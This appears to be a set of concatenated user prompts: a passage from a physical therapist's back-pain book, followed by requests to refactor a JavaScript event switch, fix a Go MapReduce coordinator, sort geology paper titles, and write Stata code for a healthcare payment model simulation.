it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' +"convert this switch case to hashmap in js\nkey should be the event name, and value should be the returned object\nswitch (eventName) {\n case 'launch\\_screen\\_astrozodiac':\n return {\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.LAUNCH,\n description: 'User lands on the welcome/launch screen',\n };\n case 'click\\_signup\\_initiated\\_astrozodiac':\n return {\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.LAUNCH,\n description: 'User clicks on the on the continue button of welcome/launch screen',\n };\n\n case 'mobile\\_no\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the mobile number screen ',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_MOBILE,\n };\n\n case 'mobile\\_no\\_continue\\_astrozodiac':\n return {\n description: 'User Submits Mobile No',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.ENTER\\_MOBILE,\n };\n\n case 'otp\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the otp screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n\n case 'resend\\_otp\\_astrozodiac':\n return {\n description: 'User clicks on Resend OTP',\n eventtype: EVENT\\_TYPES.BACKEND\\_EVENT,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n case 'signup\\_started\\_astrozodiac':\n return {\n description: 'User starts sign up process and clicks on continue on the OTP screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n case 'basic\\_details\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the basic details screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_name\\_astrozodiac':\n return {\n description: 'User enters the first and last name',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_email\\_astrozodiac':\n return {\n description: 'User enters the email ID',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'gender\\_select\\_astrozodiac':\n return {\n description: 'User selects gender',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_dob\\_astrozodiac':\n return {\n description: 'User enters the date of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_tob\\_astrozodiac':\n return {\n description: 'User enters the time of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_pob\\_astrozodiac':\n return {\n description: 'User enters the place of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'click\\_submit\\_details\\_astrozodiac':\n return {\n description: 'User clicks on submit details',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'signup\\_cancel\\_popup\\_astrozodiac':\n return {\n description: 'User sees the pop up of canceling the signup',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'signup\\_cancel\\_astrozodiac':\n return {\n description: 'User clicks on yes in the pop up of canceling the signup',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'click\\_profile\\_astrozodiac':\n return {\n description: 'User opens the profile screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.HOME,\n };\n case 'profile\\_astrozodiac':\n return {\n description: 'User lands on the profile screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'field\\_edited\\_astrozodiac':\n return {\n description: 'User edits the field in the profile screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'click\\_logout\\_astrozodiac':\n return {\n description: 'User clicks on logout',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'wallet\\_astrozodiac':\n return {\n description: 'User opens the wallet screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_wallet\\_astrozodiac':\n return {\n description: 'User clicks on wallet icon',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case '\\_payment\\_success':\n return {\n description: 'User successfully completes payment for teh wallet recharge',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'payment\\_failure':\n return {\n description: 'User opens payment failed screen for the wallet recharge',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'astrologer\\_call\\_intake\\_form\\_astrozodiac':\n return {\n description: 'User lands on the Call Intake form screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'click\\_start\\_astrologer\\_call\\_astrozodiac':\n return {\n description: 'User clicks on Start Call CTA on Call intake form screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'select\\_wallet\\_amount\\_astrozodiac':\n return {\n description: 'User selects an amount to be recharged in a category wallet',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_recharge\\_wallet\\_astrozodiac':\n return {\n description: 'User clicks on recharge wallet for a category',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_back\\_to\\_home\\_retry\\_astrozodiac':\n return {\n description: 'User clicks on back to home from category payment failure screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_retry\\_payment\\_astrozodiac':\n return {\n description: 'User clicks to retry payment from category payment failure screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_call\\_astrologer\\_now\\_astrozodiac':\n return {\n description: 'User clicks to initiate a call with an astrologer',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'service\\_providers\\_details\\_astrozodiac':\n return {\n description: 'User opens a category service provider screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n };\n case 'click\\_know\\_about\\_service\\_providers\\_astrozodiac':\n return {\n description: 'User clicks to know more about a category service provider',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n };\n case 'history\\_astrozodiac':\n return {\n description: 'User opens the History screen of Astro Zodiac app',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.HISTORY,\n };\n case 'call\\_astrozodiac':\n return {\n description: 'User opens the Call screen of Astro Zodiac app',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.CALL,\n };\n case 'click\\_contact\\_us\\_astrozodiac':\n return {\n description: 'User clicks on Contact Us for a category',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n };" +'fix all bugs : package mr\n\nimport (\n "fmt"\n "log"\n "net"\n "net/http"\n "net/rpc"\n "os"\n "sync"\n "time"\n)\n\ntype TaskStatus int\n\nconst (\n NotStarted TaskStatus = iota\n InProgress\n Completed\n)\n\ntype Coordinator struct {\n NReduce int // Number of reduce tasks to be performed\n InputFiles []string // A list of input files to be processed\n MapTaskSt map[string]TaskStatus // A map of map task numbers to their current status\n ReduceTaskSt map[int]TaskStatus // A map of reduce task numbers to their current status\n Workers map[string]WorkerStatus // A map of worker IDs to their current status\n IntermediateFiles [][]string // 2D Slice that containst the intermediate file names produced by map tasks, each row represents a different reduce task\n MapIndex int // Next map task to be assigned\n ReduceIndex int // Next reduce task to be assigned\n MapFinished bool // True when all map tasks are completed\n ReduceFinished bool // True when all reduce tasks are completed\n Finish bool // True when all map and reduce tasks are completed\n WriterLock \\*sync.RWMutex // Lock for controlling shared variables\n MapTasks chan MapTask // Channel for uncompleted map tasks\n ReduceTasks chan int // Channel for uncompleted reduce tasks\n}\n\n// Starting Coordinator Logic\nfunc (c \\*Coordinator) Start() {\n fmt.Println("Starting Coordinator, adding Map Tasks to channel")\n //Prepare initial MapTasks and add them to the queue\n for index, file := range c.InputFiles {\n c.MapTaskSt[file] = NotStarted\n mapTask := MapTask{\n FileName: file,\n NReduce: c.NReduce,\n Index: index,\n }\n c.MapTasks <- mapTask\n fmt.Println("MapTask", mapTask, "added to channel")\n }\n c.server()\n}\n\nfunc (c \\*Coordinator) getNextMapTask() (string, TaskStatus) {\n for file, status := range c.MapTaskSt {\n if status == NotStarted {\n return file, status\n }\n }\n return "", Completed\n}\n\n// Your code here -- RPC handlers for the worker to call.\n// an example RPC handler.\n// the RPC argument and reply types are defined in rpc.go.\nfunc (c \\*Coordinator) AssignMapTask(args \\*EmptyArgs, reply \\*MapTaskReply) error {\n fmt.Println("Map Task Requested")\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if !c.MapFinished {\n // Find an Uncompleted Map Task\n file, status := c.getNextMapTask()\n if status == NotStarted {\n task := <-c.MapTasks\n fmt.Println("Map task found", file)\n c.MapTaskSt[file] = InProgress\n reply.Filename = file\n reply.NReduce = c.NReduce\n reply.Index = c.MapIndex\n c.MapIndex++\n go c.WaitForMapWorker(task)\n return nil\n }\n }\n // No more map Tasks to Assign\n reply.Filename = ""\n reply.NReduce = c.NReduce\n reply.Index = -1\n return nil\n}\n\nfunc (c \\*Coordinator) getNextReduceTask() (int, TaskStatus) {\n for int, status := range c.ReduceTaskSt {\n if status == NotStarted {\n return int, status\n }\n }\n return -1, Completed\n}\nfunc (c \\*Coordinator) AssignReduceTask(args \\*EmptyArgs, reply \\*ReduceTaskReply) error {\n fmt.Println("Reduce Task Requested")\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if !c.ReduceFinished {\n // Find the next uncompleted Reduce Task\n i, status := c.getNextReduceTask()\n if status == NotStarted {\n NumReduce := <-c.ReduceTasks\n reply.IntermediateFiles = c.IntermediateFiles[NumReduce]\n fmt.Println("NumReduce:", NumReduce, "Files:", c.IntermediateFiles[NumReduce])\n reply.Index = i\n c.ReduceTaskSt[NumReduce] = InProgress\n go c.WaitForReduceWorker(NumReduce)\n return nil\n }\n }\n // No more reduce tasks to assign\n fmt.Println("No more reduce")\n reply.IntermediateFiles = []string{}\n reply.Index = -1\n return nil\n}\n\n// Goroutine will wait 10 seconds and check if map task is completed or not\nfunc (c \\*Coordinator) WaitForMapWorker(task MapTask) {\n time.Sleep(time.Second \\* 10)\n c.WriterLock.Lock()\n if c.MapTaskSt[task.FileName] == NotStarted {\n fmt.Println("Timer expired, task", task.FileName, "is not finished. Putting back in queue")\n c.MapTasks <- task\n } else {\n if c.MapTaskSt[task.FileName] == Completed {\n c.WriterLock.Unlock()\n return\n }\n }\n c.WriterLock.Unlock()\n}\n\n// Goroutine will wait 10 seconds and check if reduce task is completed or not\nfunc (c \\*Coordinator) WaitForReduceWorker(NumReduce int) {\n time.Sleep(time.Second \\* 10)\n c.WriterLock.Lock()\n if c.ReduceTaskSt[NumReduce] == NotStarted {\n fmt.Println("Timer expired, reduce task number", NumReduce, "is not finished. Putting back in queue")\n c.ReduceTasks <- NumReduce\n } else {\n if c.ReduceTaskSt[NumReduce] == Completed {\n c.WriterLock.Unlock()\n return\n }\n }\n c.WriterLock.Unlock()\n}\n\nfunc (c \\*Coordinator) MapTaskCompleted(args \\*MapTaskReply, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n c.MapTaskSt[args.Filename] = Completed\n\n for \\_, status := range c.MapTaskSt {\n if status != Completed {\n return nil\n }\n }\n\n c.MapFinished = true\n if c.MapFinished {\n for x := 0; x < c.NReduce; x++ {\n c.ReduceTasks <- x\n c.ReduceTaskSt[x] = NotStarted\n }\n }\n\n // fmt.Println("Task", args, "completed")\n return nil\n}\n\nfunc (c \\*Coordinator) ReduceTaskCompleted(args \\*ReduceTaskCompleted, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if \\_, ok := c.ReduceTaskSt[args.Index]; ok {\n c.ReduceTaskSt[args.Index] = Completed\n\n Finished := true\n for \\_, status := range c.ReduceTaskSt {\n if status != Completed {\n return nil\n }\n }\n if Finished {\n c.ReduceFinished = true\n }\n } else {\n log.Printf("Invalid reduce task index: %d", args.Index)\n }\n return nil\n}\n\nfunc (c \\*Coordinator) IntermediateFilesCompleted(args \\*IntermediateFilesArgs, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n c.IntermediateFiles[args.Index] = append(c.IntermediateFiles[args.Index], args.Filename)\n return nil\n}\n\n// start a thread that listens for RPCs from worker.go\nfunc (c \\*Coordinator) server() {\n rpc.Register(c)\n rpc.HandleHTTP()\n //l, e := net.Listen("tcp", ":1234")\n sockname := coordinatorSock()\n os.Remove(sockname)\n l, e := net.Listen("unix", sockname)\n if e != nil {\n log.Fatal("listen error:", e)\n }\n go http.Serve(l, nil)\n}\n\n// main/mrcoordinator.go calls Done() periodically to find out\n// if the entire job has finished.\nfunc (c \\*Coordinator) Done() bool {\n // Acquire writer lock to protect shared data\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n // Have all Map and Reduce Tasks been completed\n c.Finish = c.MapFinished && c.ReduceFinished\n return c.Finish\n\n}\n\n// create a Coordinator.\n// main/mrcoordinator.go calls this function.\n// nReduce is the number of reduce tasks to use.\nfunc MakeCoordinator(files []string, NReduce int) \\*Coordinator {\n c := Coordinator{\n MapTaskSt: make(map[string]TaskStatus),\n ReduceTaskSt: make(map[int]TaskStatus),\n MapFinished: false,\n ReduceFinished: false,\n Finish: false,\n WriterLock: &sync.RWMutex{},\n Workers: make(map[string]WorkerStatus),\n NReduce: NReduce,\n InputFiles: files,\n IntermediateFiles: make([][]string, NReduce),\n MapIndex: 0,\n ReduceIndex: 0,\n MapTasks: make(chan MapTask, len(files)),\n ReduceTasks: make(chan int, NReduce),\n }\n\n fmt.Println("Calling Start()")\n c.Start() // Calls Start Function\n\n return &c\n}' +"Large Igneous Provinces\nCretaceous tectonic evolution of South China: A preliminary synthesis\nLithospheric Architecture of the Lhasa Terrane and Its Control on Ore Deposits in the Himalayan-Tibetan Orogen\nMulti-stage crustal growth and cratonization of the North China Craton\nReactivation of the Archean lower crust: Implications for zircon geochronology, elemental and Sr–Nd–Hf isotopic geochemistry of late Mesozoic granitoids from northwestern Jiaodong Terrane, the North China Craton\nContinental collision zones are primary sites for net continental crust growth — A testable hypothesis\nUltrapotassic Mafic Rocks as Geochemical Proxies for Post-collisional Dynamics of Orogenic Lithospheric Mantle: the Case of Southwestern Anatolia, Turkey\nThe evolving nature of terrestrial crust from the Hadean, through the Archaean, into the Proterozoic\nHydrous melting of the martian mantle produced both depleted and enriched shergottites\nFluid and mass transfer at subduction interfaces—The field metamorphic record\nPaleoproterozoic arc magmatism in the North China Craton: No Siderian global plate tectonic shutdown\nThe Grenvillian orogeny in the Altun–Qilian–North Qaidam mountain belts of northern Tibet Plateau: Constraints from geochemical and zircon U–Pb age and Hf isotopic study of magmatic rocks\nPetrogenesis and tectonic significance of Paleoproterozoic meta-mafic rocks from central Liaodong Peninsula, northeast China: Evidence from zircon U–Pb dating and in situ Lu–Hf isotopes, and whole-rock geochemistry\nGeochronology and geochemistry of the Paleoproterozoic meta-basalts from the Jiao-Liao-Ji Belt, North China Craton: Implications for petrogenesis and tectonic setting\nDiscovery of Neoarchean suprasubduction zone ophiolite suite from Yishui Complex in the North China Craton\nEarly Permian A-type granites from central Inner Mongolia, North China: Magmatic tracer of post-collisional tectonics and oceanic crustal recycling\nMagmatic evolution of the Tuwu–Yandong porphyry Cu belt, NW China: Constraints from geochronology, geochemistry and Sr–Nd–Hf isotopes\nPetrological insights into the storage conditions, and magmatic processes that yielded the centennial 2010 Merapi explosive eruption\nTowards a new model for kimberlite petrogenesis: Evidence from unaltered kimberlites and mantle minerals\nGeochronology, geochemistry and tectonic significance of two Early Cretaceous A-type granites in the Gan-Hang Belt, Southeast China\nAn integrated mineral system model for the gold deposits of the giant Jiaodong province, eastern China\nPartial melting of metabasic rocks and the generation of tonalitic–trondhjemitic–granodioritic (TTG) crust in the Archaean: Constraints from phase equilibrium modelling\nPaleoproterozoic crustal growth in the North China Craton: Evidence from the Lüliang Complex\nArchean komatiite volcanism controlled by the evolution of early continents\nExperimental petrology of peridotites, including effects of water and carbon on melting in the Earth’s upper mantle\nOrigin of arc-like continental basalts: Implications for deep-Earth fluid cycling and tectonic discrimination\nRecycling of metal-fertilized lower continental crust: Origin of non-arc Au-rich porphyry deposits at cratonic edges\nThe Neoproterozoic granitoids from the Qilian block, NW China: Evidence for a link between the Qilian and South China blocks\nPost-kinematic lithospheric delamination of the Wuyi–Yunkai orogen in South China: Evidence from ca. 435Ma high-Mg basalts\nEmplacement ages, geochemical and Sr–Nd–Hf isotopic characterization of Mesozoic to early Cenozoic granitoids of the Sikhote-Alin Orogenic Belt, Russian Far East: Crustal growth and regional tectonic evolution\nIn situ zircon Hf–O isotopic analyses of late Mesozoic magmatic rocks in the Lower Yangtze River Belt, central eastern China: Implications for petrogenesis and geodynamic evolution\nLate Paleozoic subduction system in the northern margin of the Alxa block, Altaids: Geochronological and geochemical evidences from ophiolites\nTwo-phase subduction and subsequent collision defines the Paleotethyan tectonics of the southeastern Tibetan Plateau: Evidence from zircon U-Pb dating, geochemistry, and structural geology of the Sanjiang orogenic belt, southwest China\nGeochemistry, zircon UPb geochronology and LuHf isotopic composition of eclogites and their host gneisses in the Dulan area, North Qaidam UHP terrane: New evidence for deep continental subduction\nMid-Triassic felsic igneous rocks from the southern Lancangjiang Zone, SW China: Petrogenesis and implications for the evolution of Paleo-Tethys\nWidespread refertilization of cratonic and circum-cratonic lithospheric mantle\nA New Model for Barberton Komatiites: Deep Critical Melting with High Melt Retention\nBuilding of the Deep Gangdese Arc, South Tibet: Paleocene Plutonism and Granulite-Facies Metamorphism\nLate Ordovician to early Devonian adakites and Nb-enriched basalts in the Liuyuan area, Beishan, NW China: Implications for early Paleozoic slab-melting and crustal growth in the southern Altaids\nEocene–Oligocene post-collisional magmatism in the Lut–Sistan region, eastern Iran: Magma genesis and tectonic implications\nThe major and trace element glass compositions of the productive Mediterranean volcanic sources: tools for correlating distal tephra layers in and around Europe\nA Neoarchean dismembered ophiolite complex from southern India: Geochemical and geochronological constraints on its suprasubduction origin\nSpatial extent of the influence of the deeply subducted South China Block on the southeastern North China Block: Constraints from Sr–Nd–Pb isotopes in Mesozoic mafic igneous rocks\nHotspot volcanism and highly siderophile elements\nInsights into magma and fluid transfer at Mount Etna by a multiparametric approach: A model of the events leading to the 2011 eruptive cycle\nZircon U–Pb ages and geochemistry of the Huai’an TTG gneisses terrane: Petrogenesis and implications for ∼2.5Ga crustal growth in the North China Craton\nLate Neoarchean subduction-related crustal growth in the Northern Liaoning region of the North China Craton: Evidence from ∼2.55 to 2.50Ga granitoid gneisses\nThe Anatomy of an Andesite Volcano: a Time–Stratigraphic Study of Andesite Petrogenesis and Crustal Evolution at Ruapehu Volcano, New Zealand\nPetrogenesis of Cretaceous adakite-like intrusions of the Gangdese Plutonic Belt, southern Tibet: Implications for mid-ocean ridge subduction and crustal growth\nWhat can we learn from melt inclusions in migmatites and granulites?\nCarboniferous mantle-derived felsic intrusion in the Chinese Altai, NW China: Implications for geodynamic change of the accretionary orogenic belt\nGeochronological and geochemical constraints on the petrogenesis of Middle Paleozoic (Kwangsian) massive granites in the eastern South China Block\nApplication of Ti-in-zircon thermometry to granite studies: problems and possible solutions\nGeneration and evolution of Palaeoarchaean continental crust in the central part of the Singhbhum craton, eastern India\nGeochronology and geochemistry of Early Jurassic volcanic rocks in the Erguna Massif, northeast China: Petrogenesis and implications for the tectonic evolution of the Mongol–Okhotsk suture belt\nRemnants of Eoarchean continental crust derived from a subducted proto-arc\nThe Role of Late Sulfide Saturation in the Formation of a Cu- and Au-rich Magma: Insights from the Platinum Group Element Geochemistry of Niuatahi–Motutahi Lavas, Tonga Rear Arc\nZircon U–Pb–Hf isotopes and geochemistry of Neoarchean dioritic–trondhjemitic gneisses, Eastern Hebei, North China Craton: Constraints on petrogenesis and tectonic implications\nIsland arc-type bimodal magmatism in the eastern Tianshan Belt, Northwest China: Geochemistry, zircon U–Pb geochronology and implications for the Paleozoic crustal evolution in Central Asia\nAppinite suites: A record of the role of water in the genesis, transport, emplacement and crystallization of magma\nGeochronology and geochemistry of Early Cretaceous volcanic rocks from the Baiyingaolao Formation in the central Great Xing'an Range, NE China, and its tectonic implications\nLayered Intrusions\nGeological, Petrological and Geochemical Evidence for Progressive Construction of an Arc Crustal Section, Sierra de Valle Fértil, Famatinian Arc, Argentina\n3D numerical modeling of mantle flow, crustal dynamics and magma genesis associated with slab roll-back and tearing: The eastern Mediterranean case\nOldest rocks from Peninsular India: Evidence for Hadean to Neoarchean crustal evolution\n给以上论文按内容相关性分类" +'Below is the payment determinzation algotrhism for an healthcare alternative payment model. I need you to write Stata code to create a dataset with simulated ACR, UAMCC, and DAH measure scores. the ACR measure has 1010 observations, following a normal distribution ranging from 14 to 17; the UAMCC measure has 1005 observations, following a uniform distribution ranging from 45 to 85; the DAH measure has 1000 observations, ranging from 250 to 350 following a normal distribution. The variable that captures unique healthcare org ID is DCE\\_ID. Please make sure none of the DCE has all the three measure scores missing. Then create a Stata code to apply to this simulated dataset, to compute the Final Earn-Back Rate for every DCE. If a DCE has missing scores for all relevant quality measures, give them a P4P score=missing. Please use the benchmark information in "Table 2-6. Hypothetical Benchmark Distributions for ACR and UAMCC for Comparison with Standard and New Entrant DCE Measure Scores"\n -------1.1 Application of Quality Assessment to Final Financial Reconciliation\nThe process of determining the impact of quality measurement and performance on the PY Benchmark is summarized in this section using PY2022 as an example. The steps are as follows:\n\n• CMS develops Quality Benchmarks for each P4P measure.\n• Component Quality Scores are calculated: P4R Quality Measures are assessed, and P4P Quality Measures are compared against their Quality Benchmarks to determine performance levels.\n• Component Quality Scores are weighted to calculate the Total Quality Score.\n• (PY2023–PY2026 only) CI/SEP criteria are assessed to determine the amount of the Quality Withhold to which the Total Quality Score will be applied.\n• (PY2023–PY2026 only) HPP funds are distributed.\n\n1.1.1 Step 1. CMS Develops Quality Benchmarks for Each P4P Measure\nIn PY2022, ACR and UAMCC will have P4P components. These measures assess the occurrence of undesirable outcomes—thus, lower measure scores represent better performance. Performance levels for each DCE are determined 